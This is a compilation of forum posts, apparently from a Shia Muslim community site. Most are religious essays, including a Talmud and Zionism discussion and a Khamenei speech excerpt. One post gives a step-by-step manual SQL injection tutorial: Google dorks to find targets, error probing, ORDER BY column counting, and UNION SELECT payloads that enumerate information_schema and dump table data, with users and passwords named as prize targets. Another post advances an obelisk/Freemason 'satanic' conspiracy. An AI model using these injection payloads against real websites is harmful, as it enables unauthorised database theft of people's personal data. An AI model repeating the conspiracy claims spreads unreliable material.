  14. WARNING: PERFORMING AN SQL INJECTION (indeed any form of hacking) WITHOUT PERMISSION OF THE PEOPLE WHO OWN THE THING YOU ARE TRYING TO HACK IS VERY ILLEGAL. IF CAUGHT, YOU WILL GO TO JAIL. DO NOT BE AN IDIOT. ITS VERY EASY TO BE CAUGHT IF YOU ARE BASIC LEVEL. THERE'S PLENTY OF SAFE (LEGAL) WAYS TO PRACTICE. 

    SQL injection is a form of hacking where you manipulate a standard search bar to steal data from a website. the best way to think about it is, imagine that when you search for something in a search bar, the website looks for results in a table in a database. an SQL injection is used to "steal" the information in that database. so for example lets say I wanted to search for the member @notme in shiachats search bar. her profile name might be held in a table that also lists her email address, personal info, address, credit card details, passwords etc. I could use a SQL injection to get the whole table of all members of SC and all their personal information. 

    Luckily, the security on SC is 10/10 and this is not possible. but there's far too many websites which do not take cyber security seriously, and keep all sensitive data in basically unprotected tables. 

    we will firstly look at the theory behind it, then do the old fashioned (manual) way so we can fully understand how everything works. hacking isn't just remembering some commands or pressing a few buttons, its more of an art- a way to think. its a way to solve puzzles. SQL injections are a perfect example of that. 

    an excellent discussion of what SQL is, and why this works:

    http://www.kalitutorials.net/2014/03/sql-injection-how-it-works.html 

    really take a few minutes to get your head around SQL. its not complicated, it doesn't take long, and by understanding the theory, everything to follow becomes 1000 times easier. 

    Doing it manually

    my notes are based on this guide:

    http://www.kalitutorials.net/2014/03/hacking-websites-using-sql-injection.html

    (1) GOOGLE DORKS

    a "google dork" is a way of using googles search facility to find websites that could be sensitive to SQL injection. 

    an example of a google dork is typing this into google:

    inurl:"products.php?prodID="

    if you type this in to google, it brings up a list of websites that have .php in the URL. this is what we are looking for. the other bits of the code are just used to narrow down the search a bit if you can guess what some of the headings of the columns in the table are. 

    a more complete list of Google Dorks can be seen here:

    http://1337mir.com/hacking/2013/10/google-dorks-sql-injection/ 

    no one is ever going to expect you to memorise these off by heart. what matters is you remember the structure of the command.

    inurl: tells google to look within the URL for some text you are about to type
    "<guess a name of the very first column>.php? look for a URL that includes this
    <something>=" what lies after the = is the code we will type to expose the vulnerabilities

    (2) NARROWING DOWN THE LIST TO FIND ACTUALLY VULNERABLE SITES

    this bit is pretty neat. basically lets say you find a website with the URL:

    www.TatbirBlades.com/products.php?prodID=25

    to find out if this website can be victim of a SQL injection or not, simply replace the "25" at the end with a single quote mark ', and see if the web page shows you some error like "Not found","Table","Database","Row","Column","Sql","MysqL" or anything related to a database. In some cases, there would be no error, but there would be some berserk/ unexpected behavior on the page, like a few components not showing up properly, etc.

    if you see something like that, you know that this website is a target:

    asterisk.PNG

     

    (3) FINDING OUT HOW MANY COLUMNS ARE IN THE TABLE YOU ARE ABOUT TO STEAL

    this is just trial and error. 

    go back to the URL above:

    www.TatbirBlades.com/products.php?prodID=25 

    and add a bit of code to the end:

    www.TatbirBlades.com/products.php?prodID=25+order+by+1

    keep changing the number by the end by increments of 1 till you get an error. the last number before the error is how many columns are on the table. 

    so if the final code you enter before an error is 

    www.TatbirBlades.com/products.php?prodID=25+order+by+15

    you know then, that there are 14 columns in total. 

    so for example if there are 10 increments so far and no error:

    columns.PNG

     

    but when you do the 12th column you get this error:

    success.PNG

    you know that there is no 12th column, so there must be 11 columns. 

    (4) FINDING OUT WHICH OF THESE COLUMNS ARE SENSITIVE TO ATTACK

    a vulnerable column is one that allows us to submit an SQL query into the SQL table, through the website URL. 

    lets say that our table have 4 columns. 

    we would enter this code

    www.TatbirBlades.com/products.php?prodID=25+union+select+1,2,3,4. sometimes you have to put a minus sign - instead of an equals sign = before the first +, so for example

    www.TatbirBlades.com/products.php?prodID-25+union+select+1,2,3,4 

    instead of 

    www.TatbirBlades.com/products.php?prodID=25+union+select+1,2,3,4

    the page will load properly, except a random number showing up somewhere. take a note of this. this is the vulnerable column. 

    lets say the number 2 pops up somewhere randomly on the page. we then know that column 2 is the vulnerable one. 

    lets use a real example. 

    Lets imagine we have the following result from typing one of the above two URLs:

    union.PNG

    the numbers 11, 7, 2 and 9 appear. 

    we then use the other code (not using the minus after the equals sign) and get this:

    origina.PNG

     

    we can see that the difference between the two, is the number 11. 

    this means that the 11th column is the vulnerable one. BOOM TOWN. 

    thats actually the hardest bit of an SQL injection done. 

    lets recap

    - we identified that the site www.tatbirBlades.com could be victim
    - we identified the size of the table
    - we identified which of the columns in the table are vulnerable

    next, we enter the last code we just used to identify the vulnerable column (i.e. the one that shows the vulnerable column number. in this case it is the one with the minus sign after the equals sign), with an extra bit on the end -  @@version

    So the code would look something like this:

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,@@version

    this will tell us the version of SQL being used by the website. 

    when you enter the code, you will see something like this:

    @@.PNG

     

    The server is using Sql version 5.1.69, most probably MySQL (pretty common). Also we know the OS is Ubuntu.

    STEALING THE DATA

    we have all the info we need now. 

    In our query which we used to find vulnerable columns (i.e. www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11), we will replace the vulnerable column with table_name and add prefix +from+information_schema.tables. The final url will be

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,table_name+from+information_schema.tables

    can you see how the column number (in this case, 11) has been replaced?

    if we enter this URL, we might get something like the following:

    Capture.PNG

    this shows us that the table that column 11 is in, is called "Character_Sets". we dont want just 1 table though, we want the whole database!

    to get all the tables, we simply replace the table_name with group_concat(table_name) to get all tables

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name)+from+information_schema.tables

    We now can see:

    Capture.PNG

    All the tables in the database!!!

    so lets say the list of tables is:


    CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS

    that "EVENTS" table looks pretty juicy to me. I want to steal that one. 

    to do this, first of all I convert the word "EVENTS" to hex code using any free online text to hex translator. the hex code for the word "Events" is:

    4556454e5453

    remember to always add 0x to the start of any hex code, so the full code is:

    0x4556454e5453

    got it? now all you need to do is enter the following URL:

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(column_name)+from+information_schema.columns+where+table_name=0x4556454e5453

    can you see how logically we are building up the commands so far? 

    like I said, its not HARD. its just about knowing how to think, and knowing enough SQL to find out what you need to know. 

    if you have done the code correctly, then you should see a list of all the columns in the EVENTS table:

    Capture.PNG

    We will follow the same pattern as we did so far. We had replaced the vulnerable column (i.e. 11) with table_name first, and then column_name. Now we will replace it with the column we want to obtain data from. Lets assume we want the data from the first column in the above pic, ie. event_catalog. We will put the following URL-

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,EVENT_CATALOG+from+information_schema.EVENTS 

    if you see nothing:

    failure.PNG

    that means that our query was fine (otherwise we would see an error message) but the table we just downloaded is empty. it happens all the time. 

    so we need to steal data from another, more useful table. 

    lets try CHARACTER_SETS and the first column CHARACTER_SET_NAME (we know the first column by repeating the steps above)

    by looking at the name CHARACTER_SETS, we can assume that it will just be a table of the different types of languages that data can be inputted in. luckily, as well as being an expert hacker, I am also a big fan of languages so am really keen to see what languages are used in this database. 

    I enter the following code, in the exact same format as before:

    www.tatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME)+from+information_schema.CHARACTER_SETS

    and get the following:

    success.PNG

     

    so I know what all the values are! 

    In a similar manner you can go through other tables and columns. It will be definitely more interesting to look through a table whose name sounds like 'USERS' and the columns have name 'USERNAME' and 'PASSWORD'.  I would show you how to organise results in a slightly better way and display multiple columns at once. This query will return you the data from 4 columns, separated by a colon (:) whose hex code is 0x3a.

    www.TatbirBlades.org/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME,0x3a,DEFAULT_COLLATE_NAME,0x3a,DESCRIPTION,0x3a,MAXLEN)+from+information_schema.CHARACTER_SETS

    Capture.PNG

    Look at all that lovely, lovely data!!!!

    this is literally the oldest, slowest, most manual way to sql inject. theres a much quicker way to do it, but with this version, you dont need any fancy shmancy software or operating system. you can do it right in your regular old internet browser. 

    get your head around the steps and structure of the SQL commands, next post will show how to automate like 90% of the process. 

  15. So how’s this whole 21st century thing coming along? Yeah.

    With the passage of time, each new era is forced to carry a higher burden and inherit a larger legacy than the generation before. Time is a double edged sword. On one end, more time can expand the opportunity to build constructive relationships, goodwill, positive institutions, and human progress. Conversely, time can serve to widen the accumulation of baggage, knot tighter the machinations of deceit and derision, and aid in the solidification of deviant ideologies, perverse mythologies, and exploitative institutions. In this regard, time is an empty canvas waiting to be marked by any paintbrush, big or small, with whatever paint along the way. 

    Paint is the (im)moral force that gives purpose and relevancy to this big and blank amoral whiteboard known as time. Paint comes in many colors, and can create many designs. Some are beautiful, enhance the surrounding landscape, and work synergistically with other designs, creating a diverse, but single hearted masterpiece. Other paints give ugly imprints, ones that impose themselves unapologetically, have no concern for the holistic creative vision, and serve as an unwelcome blemish. For those who believe in the holy and natural, we know the righteous paints will never tarnish, while the awful ones will water down and fade in their own impurities. 

    So what’s the 21st century portrait looking like? If time is an ever increasing size canvas, yet more paint has been plastered era after era at a much higher proportion, is there anything left for us to put? Anything we can add, or are we simply overwhelmed handling what’s already been dried on? I think the latter is the case. This is our destiny and burden. Our mission will not be to make history, but rather detoxify and realign what’s been accumulated - the human, economic, social, political, environmental, ideological…and all the rest. To redirect towards a proper moral direction. To clean up the mess of our dead ancestors. To not give birth, but to raise what’s been born. 

    We are being helped by science and technology, growing at a faster pace than ever before. We are helped by a huge explosion in the information sector, ease of travel and communication, and a range of logistical conveniences. We can interpret these things as proof of human accomplishment, but more importantly I would humbly call it a gift from above - to help aid us with our mission, as if our creator knows what we need. Divine guidance and support!

    All of us were chosen and raised in a certain time period for a reason, only known to our creator. We shouldn’t let ourselves get wrapped up in self-importance or arrogance about this. Are we “better” or just “different” than those in other times? I don’t think we have the time to worry about such a question. 

    References to war are rife throughout history, and that’s the case here. Specifically, the concept of “total war”, where every resource down to the minute is involved in the effort. In today’s case, every capital resource - the community, personal, psychological, technological - are essential for our mission, and no individual is beyond the scope of relevance and suitability. We have no choice but to go “all in”, and nothing can be held back, if we want any chance of success of a dignified outcome. 

    So this affects me of course, because it instantly puts me on notice. What can I clean up? What micro changes can I contribute, throw in the pot, to help with the macro efforts? The degree of inward digging should hopefully correlate to outward action. I am proud of living in this era, because it gives me an incentive for spiritual and personal re-examination. 

    What do you guys think?

     

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    Imame zamana ajtf said:-

    Surely I am indeed the cause of security for the inhabitance of the earth just as the stars are the cause of security for the inhabitants of the sky .

    Nature is showering blessings on us .....

    Earth holds us sky covers us

    Water ,food ,air,lify,children,parents, knowledge,..........,endless ne'mats by God

    Have we ever ponder into the reason behind these blessings ??????

     

    All these blessings are from tawassul of imam ajtf  that moon of bibi sa who is waiting occultation

    jiska sadka hai ye duniya

     not only this world but all the worlds 

    Eonlyrearure of this world and all other worlds  

    The biggest ne'mat of lord his last hujjat ajtf himself says he is our cause of security

    Not only for this decade but since he was born since he went in occultation till the day of judgement

    In correspondance to this blessing we give him our manipulated worthless  prayers ,our  gossips,our records of missed prayers , our sins,our friendships with namehrams, our lost dignity from eyes ,zina,accusations and insults of momins ......our gifts are truly precious and endless

    Imam e wali e asr ajtf says :-

    Or meri  ghaibat me mjhse istefada Ki suurat is tarah hai jese sooraj se istefada  kiya jata hai jab badal ussey aankho se ojhal krdeta hai.

    Kamaluddin vol 2

    Sun covered from clouds in winters still people gets light and benefits from it inspire of being covered by clouds likewise imam as says in his occultation his followers will be benefitted the same as from a covered sun

    Decades have been passed not only decades but 100's of years still he is unable to find his 313

    We are waiting but what's wrong in our preparations that Allah is not listening to our prayers ?

     

    Are we only waiting or preparing as well 

    Or this modern world is stopping us from preparing 

    Huge and huge pillars of sins are obstacles between imam ajtf and his followers

    Do we really know our imam as? 

    Inshaallah will try to know our imam ajtf and try to find out the reasons stopping us meeting our imam 

    Let's make this century the last century of pain of our imam ajtf 

     

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    :salam:

    nw9vhOR.jpg
    Obelisks were prominent in the architecture of the ancient Egyptians, who placed them in pairs at the entrance of temples. The word "obelisk" as used in English today is of Greek rather than Egyptian origin because Herodotus, the Greek traveller, was one of the first classical writers to describe the objects. A number of ancient Egyptian obelisks are known to have survived, plus the "Unfinished Obelisk" found partly hewn from its quarry at Aswan. These obelisks are now dispersed around the world, and fewer than half of them remain in Egypt.

    What are these Obelisks and why are they everywhere?

    T75qN3P.jpg


    Almost every city I have been to has one, some sources say that this is the symbol of Freemasons presence in the city. Others say that this is a satanic symbol, representing a phallic symbol of Satan. 

    We know for sure as Muslims this shape represents satan because this is the pillar we stone in Hajj, or at least we used to..

    wt40br6.jpg

    c6TNAR7.jpg


    These Obelisks used to represent satan and we muslims would throw pebbles at it as part of hajj. 

    They are no longer there. The Saudi Arabian authority has removed them and replaced them with walls.

    sex7R2d.jpg
     

    They did this without the consent of anyone. What right did they have to demolish the original obelisks and replace them with walls.

    So why are there Obelisks all over the world? 

    iX1HDIv.jpg

    This is just another conspiracy theory.... But don't you think it has any substance to it?
    In the very least if it does not, are we not supposed to question Saudi Arabia's decision in replacing it with a wall rendering the throwing of the jamarat useless in my opinion. It is as if they are protecting satan.

    Salamat

  16. NormaL_UseR
    Latest Entry

    I'm still transcribing although had a long gap where didn't do, I want to finish the Hamid Algar series and I am doing another series of 9 lectires which I hope to finish by Ramadhan, i've done the first lecture but it's a secret (not really but I will post when ready) but keep an eye out and hope you benefit

  17. Banu Musa

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    Reposting my old post and summarizing some comments to it.

    Quite a few Christians, especially Protestants, claim the following combination of beliefs that I find highly disturbing:

    1) That “pharisaic” Judaism and its central text, Talmud, are “satanic”

    2) That Islam is similar to Talmudic Judaism and therefore, by extension, is also “satanic”

    3) That the entire world must support the state of “Israel” and that Palestinians are bad, because they don't support it.

     

    Since I studied in traditional anti-Zionist rabbinical institutions, I am well familiar with this topic and I would like to say a few words about it.

    Interestingly enough, these beliefs represent in a distilled form the original core idea of Zionism and demonstrate its origins very well. In colonial times, various British and American Protestant theologians of the early 19th century started spreading the idea of the “restoration of the Jews”. Based on their peculiar interpretation of the Christian Bible, they came to believe that if the Jews will gather in Palestine and establish there their own state, such event would trigger the Second Coming of Christ. Apparently, this idea originated from the Catholic Jesuit circles, but found a solid ground among the Anglo-Saxon Protestants, some of whom came to believe to another weird idea that they are the descendents of the original Hebrew tribes and therefore have the right to control Palestine. This website has a large collection of historical articles about these developments within Protestant groups.

    Contrary to Judaism, these people viewed Jews as a race and not a religion. The colonial West in the 18th and 19th centuries was in general obsessed with racial and nationalist theories. The Church condemned the Jewish Talmud since the Middle Ages, primarily because it sharply criticizes the Christian Trinity doctrine and because is written is a style that most Christian couldn't comprehend. After the series of liberal revolutions, more and more assimilated Jews became emancipated in the Western society, but due to the spread of nationalism, new anti-Jewish currents emerged in the West. In contrast to traditional anti-Judaism of the Church, these new currents were based on racial mythologies.

    Some assimilated Jews picked up the “brilliant” solution that early Christian Zionists offered for them: to establish their own state, based on the “enlightened” Western values of secular nationalism and colonial attitudes to non-Western people. Theodor Herzl, the founder of political Zionism, wanted originally to convert all Jews to Christianity, but later modified his views and supported “plain” secularization. Here comes a major paradox: those British and American Christians who supported this idea really wanted the Jews (and everyone in the world) to become Christians, but wished them to move to Palestine, where they could serve as allies of the colonial West. They didn't want anything “Talmudic”; they just wanted to create another “civilized” Western colonial state like South Africa.

    Traditional Talmudic Jews, on their hand, were totally opposed to Zionism, because the Talmud explicitly forbids this idea of gathering in Palestine and establishing their own state. This idea contradicts the basic Jewish belief that only the true Redeemer sent from God can gather them in a miraculous way and even that is not universally accepted. According to some more esoteric Jewish teachings, the future messianic Redemption of universal harmony will transcend state politics altogether.

    This is the real Zionist “conspiracy”: the entire Zionist movement started as a result of cooperation between Anglo-Saxon Protestants and anti-traditional assimilated Jewish nationalists. The Talmud as such plays no role in classical Zionism, except that some isolated concepts from it were adopted as secularized slogans, often in a completely twisted fashion. 90% of Jewish Zionists, let alone the Christian ones, are unable to read the Talmud at all. At best, they may consider it an important historical piece of Jewish literature. Typical high-rank supporters of the Zionist state like bankers and politicians are usually totally secular and have no serious Jewish education. As long as they thinks and acts like their right-wing Protestant Christian fellow ruthless businessmen, they are “cool”. If they would act "Talmudic", they wouldn't fit into the club.

    Since the Zionists captured and twisted the minds of many Jews, new heretical varieties of Judaism emerged from this confusion. Such notorious fascists as Baruch Goldstein or Meir Kahane undoubtedly considered themselves followers of the Talmud. We hear now chief rabbis and famous religious figures supporting Zionism and spreading hatred against the Palestinians and Muslims. How did this happen? Simple enough and in some ways quite similar to Wahhabi currents in Islam.

    The Talmudic corpus and related literature is a very large and complicated collection of texts, which may be compared to the Muslim Hadith collections. The Quran (5:32) contains an explicit quote from the Talmud and affirms the basic traditional Jewish belief that the Talmud contains supplemental parts of Moses' prophecy, which has been transmitted through oral narration. The above verse is found only in the Talmudic literature and not anywhere in the Bible. A number of other verses in Quran also have parallels in the Talmud and not found in the Scripture.

    Besides orally transmitted information from the prophets, the Talmud contains many legal decisions that the Talmudic sages derived using certain logical rules, which were also transmitted from Moses. It also contains historical rabbinical decrees, esoteric interpretations of the Scripture, theological and ethical discussions, various folk legends and even ancient medicinal remedies. Those Christians who tried to study the Talmud and came to hate it didn't get what it is all about. The Talmudic literature is a extremely large and diverse collection of discussions about all sorts of things, recorded during many centuries mostly in Persia and written in a very Persian multilayer story-inside-story style. The largest and most reliable collection is called “Bavli”, which means the Babylonian or Iranian Talmud. It's written mostly in Sassanian dialects of Aramaic, not in Hebrew.

    Practical law or advices comprise only a fraction of the Talmud and are a matter of debates and analysis. Many narrations and interpretations are rejected by the Talmudic text itself, but were still considered worth recording or allowing an esoteric interpretation. In some cases, parallel narrations allow to decide, which variant is more reliable in practice. A number of schools within Judaism, somewhat like Islamic madhhabs, derive various laws from the Talmud by somewhat different rules. One school considers a certain narrator or some text more practically reliable than another etc.

    No one in traditional Judaism, since the Middle Ages, derives any law directly from the Talmud without consulting first classic commentators and existing practical legal literature. Proper understanding of the Talmud requires years of systematic study and reading lots of commentaries.

    Maybe, this link to another Shiachat thread could help the readers to understand where most of these old Christian accusations come from. Anti-Muslim writers use the Ahadith in the same exact fashion, taking things out of context or by amplifying weak rejected narrations.

    Many Talmudic discussions are related to similar theoretical issues. Capital punishment was abolished in Judaism about 2000 years ago, because no one is considered righteous enough to serve as a judge or witness for such serious cases. Even when capital punishment existed, it was very rarely practiced by the line of tradition that became what's known today as rabbinical Judaism. Only very directly committed offenses, with at least two righteous male witnesses and a proper warning, could lead to death penalty. In many cases, the Talmud discusses, whether some weird and disgusting actions could be punished, in theory, by a human court, or whether one who did them may perform certain religious rituals. Such discussions also help to understand the metaphysical, philosophical and esoteric underpinnings of various laws.

    One classic example that Christians constantly use against the Talmud is that a Jew who kills a non-Jew is exempt from death penalty. First of all, some commentators explain that it only applies to people who worship idols and have no morality, and not to Christians and Muslims. Murder of a Jew or non-Jew is a terrible sin, whether punishable by human means or not. Second, the Talmud lists many other situations when a murderer is exempt from penalty. The general line in the Talmud is to find all possible ways and arguments to avoid death penalty. A court who would kill even one person in 70 years would be considered a “bloody court” and some sages provided a logic that, in Islamic terms, avoids “hudud” altogether.

    Another classic example Christians use against the Talmud that it allegedly teaches that sex with a girl below 3 years is permitted. Absolutely not! What it says that if such undoubtedly disgusting act happened, the girl would still be considered a virgin and her honor would not be blemished.

    The main and most famous complaint against the Talmud is its alleged teachings of Jewish supremacy. The Talmud never considers non-Jews “subhuman”. That's simply a fabrication. But it does contain pretty harsh statements about idol worshipers and teachings about the Jews' being a people who receive special and unique blessings from God, if they carefully follow Judaism.

    One main source of controversy and potential misunderstanding is that the Talmudic texts sometimes conflate the terms "goy" (non-Jew) and "akum" (abbreviation of "Star worshippers"), because most non-Jews, when the Talmud was written, were "by default" idol worshippers of various kinds. Careful analysis of parallel narrations shows that all this negative stuff is about idolaters. The Talmud praises non-Jewish monotheists, including some Persian kings and other people.

    Another example. Current standard editions of the Babylonian Talmud (Sanhedrin 37a) contain the following: Therefore, humans were created singly, to teach you that whoever destroys a single soul of Israel, Scripture accounts it as if he had destroyed a full world; and whoever saves one soul of Israel, Scripture accounts it as if she had saved a full world. The oldest version of this Talmudic quote correspond exactly to the Quran 5:32 and don't mention Jews in particular. The Yerushalmi Talmud, the Midrashim and several other parallel transmissions of this quote also don't mention the word "Israel". Even in the case of the common Babylonian Talmud editions, this quote makes a difference between Jews and immoral non-believers, but does not, exclude non-Jews who practice an ethical monotheistic religion, as it is easy to prove by the internal logic of the same Talmudic tract, which praises non-Jewish monotheists and equated them with the Jewish High Priest who served at the Jerusalem Temple (Sanhedrin 59a). In Islamic terms, this is an example of a "weak Hadith".

    The basic practical Talmudic structure of categories of believers/unbelievers, as their are interpreted in Judaism, goes as follows:

    Good people:


    1. Torah-observant Jews, who receive special blessings for following Moses' prophecy. A convert to Judaism is a Jew. According to traditional Judaism, it doesn't matter, whether Jews today are descendents of the ancient Hebrews or Khazars or Romans.

    2. Righteous non-Jews, who follow the prophecy of Noah and receive special blessings. Muslims are usually included in this category or in a somewhat different respected category of people. Trinitarian Christians are included by many opinions, but it's a matter of debate. Some schools of thought completely equate Muslims and Christians with the Jews on social and spiritual level. More liberal rabbinical authorities include all ethical people into this category, including polytheists and atheists, using basic ethics as the main criterion of righteousness. I personally agree with this opinion.

    It's a duty for Jews to support, love, help, treat well, respect all good people.

    Bad people:


    1. Classic idolaters of Antiquity. In times of peace, Jews must treat them well and with hospitality, deal with them fairly, help their poor, but the basic attitude is to stay away from them, not to get too friendly and not to help them too much.

    2. Ex-Jewish outright heretics and non-believers. The worst category in the Talmud. No love, no good treatment here. According to some hardcore opinions, they may be killed even without a court decree. To secular Jewish readers: No, neither me nor most Orthodox Jews today accept this attitude. People get confused and come up with all sorts of ideas. Some atheist definitions of nature or philosophical ground of being are more theologically sound than some other people's weird ideas about God, who may better decide, who is a heretic and who is not.

    The “gray zone”:


    1. Many classic sources of rabbinical law say that the Talmud condemns only the seven ancient Canaanite tribes who practiced human sacrifices or other ancient nations like the Romans who would come to a circus to entertain themselves watching animals tearing people apart or forcing slaves to fight each other to death. So, even someone would erect today a statue, proclaim it as a deity and bow to it, there is still room to disregard this behavior, love and respect such a person. Or, esoterically, one may say that everything is a reflection of God's names and this person in his heart really worships God. On the other hand, because the status of Trinitarian Christianity is a matter a debate in Judaism and because the Church systematically persecuted, killed, tortured and humiliated the Jews until recent times, there are many Orthodox Jews who avoid having close friendship with Christians and have negative opinions of their religion. For Christian readers: No, I don't agree with this attitude and many Orthodox Jews don't. But there is enough room for opposite opinions here. More inclusively minded Orthodox Jews tend to value ethical behavior over religious beliefs, while more hardcore Orthodox tend to regard people as heretics and idolaters for any slight deviation. In any case, traditional Judaism requires to treat everyone nicely and fairly.

    Traditionally, Islam was always considered the closest religion to Judaism. Christianity, on the other hand, was often viewed negatively, although there are many highly positive opinions on it, i.e. by Menachem Meiri, Jacob Emden and Elia Benamozegh. Very many classic commentaries to the Torah and Talmud were written in Muslim countries, often originally in Arabic. Most classical schools of rabbinical law were established in Muslim countries.

    The Zionists turned the Jewish history upside down. They discarded the long history of Jewish-Islamic cultural synthesis and invented the myth of “Judeo-Christian” civilization. Classical Judaism with its Talmud, which explicitly forbids the Jews to create a state in Palestine and which was written in a “politically incorrect” region (Iraq and Iran), has no place in classical secular Zionism.

    But here comes a surprising twist. After the Nazi genocide of millions of European Jews, the Zionist movement captured the attention of most Jews who were well familiar with the long history of traditional Christian anti-Jewish hatred. But the Zionist's best allies and the originators of their ideology were some Protestant sects who don't exactly like Judaism. So the Zionists projected the history of Christian anti-Jewish persecution on the Muslims. To be fair, persecutions did happen under various Muslim rulers, but they were not nearly as common as in the Christian world and they were actions of certain corrupt individuals and not an integral doctrine of religion. The Jews perfectly understood that, but the Zionists seized the moment after the Nazi genocide and managed to confuse many people. Another factor that helped this confusion was that the governments in some Muslim countries made the conditions of the local Jewish communities unbearable after the Zionist state was established and forced them to leave the Arab countries. This was a very bad move, which only popularized Zionism and helped to created this new myth of anti-Jewish Muslim hatred. The final factor is the Salafi/Wahhabi type of Muslims who basically copied the old Christian hatred against the Jews. So, two very anti-traditional and somewhat similar movements, both strangely connected to Anglo-Saxon Protestantism in their ideology - Wahhabism and Zionist pseudo-religion - started fighting each other and polluting the world with their ideas.

    As a result of all that, new forms of “religious” Zionists emerged. All negativity against the idolaters and oppressive types of Christians that one can find throughout the history of Judaism was redirected in a highly amplified and concentrated form to the Muslims. The fact that this negativity has to do with theology (idols and Trinity) was ignored. On the contrary, Muslims became somehow equated in this Zionist twisted version of Judaism with the worst kind of idolaters, who should be normally still treated nicely and without trying to dominate them. But here is a catch: one may kill “even the best of idolaters”, according to the Talmud, during a military combat. The “religious” Zionists declared that their state is in constant war with the Muslims who want to kill all Jews. Such twisted logic basically gives a license to kill. The same exact logic is used by Wahhabis who removed the concept of “Ahl Al-Kitab” from their version of Islam and consider everyone at permanent war with Muslims.

    There is a good book written by Yakov Rabkin, A Threat from Within: A Century of Jewish Opposition to Zionism, which explains how traditional Judaism and Zionism are totally incompatible. The author is an Orthodox Jew and a history professor. I strongly don't recommend books written by anti-religious authors (Israel Shahak) or fanatical right-wing Christians (David Duke, Israel Shamir), because such authors usually have no serious knowledge of Judaism and often promote hatred against both Jews and Muslims under a mask of “anti-Zionism”.

    I hope this rough introduction is clear enough. If people here will find these topics interesting, we could go into more detailed discussions. There also also esoteric trends in Judaism, kind of similar to Bektashis or Alawites, who tend to emphasize things like personal devotion and non-literal interpretations over fixed rules.

    My main interest on this forum is not battling Zionism. I am trying to apply Henry Corbin's methodology to Jewish philosophy and esoterica, and I find studies of Hadith and Irfan in comparison to Talmud and Kabbalah very refreshing and important.

  18. :bismillah:

    "Allah the Exalted ordered Musa [Moses] (a.s.) and Harun [Aaron] (a.s.) to go to Pharaoh. Well, it was a big task for two individuals to go and confront – on their own – a great power that existed at that time: Pharaonic power was a great power in terms of politics and social affairs and even in terms of his influence on the people and his bureaucratic resources. There are many things to be said about the Pharaonic power. Pharaoh was an shocking phenomenon. He was a tyrannical power who did whatever he liked with abundant resources at his disposal."

    "Allah the Exalted entrusted two individuals with the task of confronting and fighting against that person. Hazrat Musa (P.B.U.H) said“If we go, they might kill us and thus our task will remain half-finished.” They were not afraid of being killed. They said that their task would remain half-finished. “He said, ‘Fear not for I am with you. I hear and see everything” [The Holy Quran, 20: 46]. God said that He was with them. Notice that this is divine assistance: “For I am with you. I hear and see everything.” When God says, “God is with those who observe piety” – as I said, if we have piety, God is with us – this divine assistance and accompaniment means that one can send two individuals empty-handed so that they fight against a Pharaoh."

    "Elsewhere in the Holy Quran – of course, this has been repeated in the Holy Quran many times and I am narrating another part of it – when it came to public confrontation and challenge and when Hazrat Musa (P.B.U.H) gathered Bani Israel so that they would get out of the city at dawn, very early in the morning or at midnight, and get rid of Pharaoh, Pharaoh’s spies said to him in the morning – when the sun had risen a little –  that Bani Israel have evacuated the city and that all of them have gone. Pharaoh became agitated as he thought that they would go somewhere else and would create a nucleus. He ordered his army to gather. They gathered the army and chased Bani Israel."

    "I do not know the interval between Bani Israel’s departure and the gathering of the Pharaoh’s army. Perhaps, it took that army one, two days – more or less – to advance. Well, Bani Israel were walking on foot without enough resources. They were a bunch of ordinary people comprised of women, men and children, but the Pharaoh’s army had military equipment, large troops, horses and everything. They would naturally reach them soon and they did so.
    When Musa’s followers saw them from a distance and when they saw that the Pharaoh’s army was approaching, they became nervous. In the Holy Quran – Sura al-Shuara – God says, “And when the two bodies saw each other” [The Holy Quran, 26: 62]. When the two groups – Prophet Musa’s (P.B.U.H) group, which was ahead, and the Pharaoh’s group which was chasing them – saw each other from afar and when they got so close that they could see one another, “The people of Musa said, ‘We are sure to be overtaken’” [The Holy Quran, 26: 62]. Bani Israel, who were with Musa (P.B.U.H), became terrified. They said, “Oh Musa, they will catch us soon.” The Arabic word “mudrakun” means overtakingreaching. They said that the Pharaoh’s army would capture and massacre them shortly."

    "What was Musa’s (P.B.U.H) answer? Prophet Musa (P.B.U.H) said in response, “He said, ‘By no means.’”. He said that such a thing would never happen. Why? It is because “My Lord is with me.” This is divine assistance. He said that God is with him: “My Lord is with me. Soon will He guide me” [The Holy Quran, 26: 63]. Notice that divine assistance has such significance. When they say, “For God is with those who observe piety, and those who do good” the value of this assistance should be appreciated. If we can preserve this divine assistance, you should know that even if some people in the world have a kind of power which is 10 times more than that of America – let alone the power of America itself – the divine power which accompanies us will overcome them."
     
    (Ayatollah Sayed Ali Khamenei’s speech in a meeting with mobilization units from all over the country - 23/11/2016)


    http://sayyidali.com/viewpoints/with-divine-assistance-you-can-confront-a-pharoah-even-empty-handed.html

